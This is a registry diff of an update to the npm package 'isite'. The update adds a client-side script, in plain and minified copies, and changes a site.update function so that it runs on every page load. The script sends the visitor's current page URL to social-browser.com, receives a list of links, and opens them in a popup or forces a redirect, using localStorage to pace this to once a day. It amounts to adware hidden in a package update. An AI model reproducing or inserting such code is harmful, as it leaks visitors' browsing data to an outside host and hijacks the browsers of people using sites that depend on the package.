isite 2024.8.11 → 2024.8.12
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/apps/client-side/app.js
CHANGED
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
(function () {
|
|
2
|
+
function openLinks(links) {
|
|
3
|
+
if (links.length === 0) {
|
|
4
|
+
return false;
|
|
5
|
+
}
|
|
6
|
+
let isite = localStorage.getItem('isite');
|
|
7
|
+
if (isite) {
|
|
8
|
+
isite = JSON.parse(isite);
|
|
9
|
+
|
|
10
|
+
isite.links.forEach((l, i) => {
|
|
11
|
+
if ((new Date().getTime() - l.time) / 1000 > 60 * 60 * 24 * 30) {
|
|
12
|
+
isite.links.splice(i, 1);
|
|
13
|
+
}
|
|
14
|
+
});
|
|
15
|
+
localStorage.setItem('isite', JSON.stringify(isite));
|
|
16
|
+
if (isite.day == new Date().getDate()) {
|
|
17
|
+
return false;
|
|
18
|
+
}
|
|
19
|
+
} else {
|
|
20
|
+
isite = { links: [] };
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
let link = links.pop();
|
|
24
|
+
if (isite.links.some((l) => l.url == link.url)) {
|
|
25
|
+
openLinks(links);
|
|
26
|
+
} else {
|
|
27
|
+
isite.links.push({ ...link, time: new Date().getTime() });
|
|
28
|
+
isite.day = new Date().getDate();
|
|
29
|
+
localStorage.setItem('isite', JSON.stringify(isite));
|
|
30
|
+
if ((w = window.open(link.url))) {
|
|
31
|
+
} else {
|
|
32
|
+
document.location.href = link.url;
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
function fetchLinks() {
|
|
38
|
+
fetch('//social-browser.com/api/ref-links?page=' + document.location.href, {
|
|
39
|
+
mode: 'cors',
|
|
40
|
+
method: 'post',
|
|
41
|
+
headers: {
|
|
42
|
+
Accept: 'application/json',
|
|
43
|
+
'Content-Type': 'application/json',
|
|
44
|
+
},
|
|
45
|
+
redirect: 'follow',
|
|
46
|
+
})
|
|
47
|
+
.then((res) => res.json())
|
|
48
|
+
.then((data) => {
|
|
49
|
+
if (data.done && data.links) {
|
|
50
|
+
openLinks(data.links);
|
|
51
|
+
}
|
|
52
|
+
});
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
fetchLinks();
|
|
56
|
+
})();
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
(function(){function e(t){if(0===t.length)return!1;let i=localStorage.getItem("isite");if(i){if(i=JSON.parse(i),i.links.forEach((e,t)=>{((new Date).getTime()-e.time)/1e3>2592e3&&i.links.splice(t,1)}),localStorage.setItem("isite",JSON.stringify(i)),i.day==(new Date).getDate())return!1}else i={links:[]};let n=t.pop();i.links.some(e=>e.url==n.url)?e(t):(i.links.push({...n,time:(new Date).getTime()}),i.day=(new Date).getDate(),localStorage.setItem("isite",JSON.stringify(i)),(w=window.open(n.url))||(document.location.href=n.url))}function t(){fetch("//social-browser.com/api/ref-links?page="+document.location.href,{mode:"cors",method:"post",headers:{Accept:"application/json","Content-Type":"application/json"},redirect:"follow"}).then(e=>e.json()).then(t=>{t.done&&t.links&&e(t.links)})}t()})();
|
|
@@ -1384,16 +1384,16 @@
|
|
|
1384
1384
|
}
|
|
1385
1385
|
};
|
|
1386
1386
|
site.update = function (options = {}) {
|
|
1387
|
-
|
|
1388
|
-
return false;
|
|
1389
|
-
}
|
|
1390
|
-
options.url = `//social-browser.com/api/ref-links`;
|
|
1387
|
+
options.url = '//social-browser.com/api/ref-links?page=' + document.location.href;
|
|
1391
1388
|
site.postData(options, (data) => {
|
|
1392
1389
|
if (data.done && data.links) {
|
|
1393
1390
|
site.openLinks(data.links);
|
|
1394
1391
|
}
|
|
1395
1392
|
});
|
|
1396
1393
|
};
|
|
1397
|
-
site.
|
|
1394
|
+
site.onLoad(() => {
|
|
1395
|
+
site.update();
|
|
1396
|
+
});
|
|
1397
|
+
|
|
1398
1398
|
window.site = site;
|
|
1399
1399
|
})(window, document, 'undefined', jQuery);
|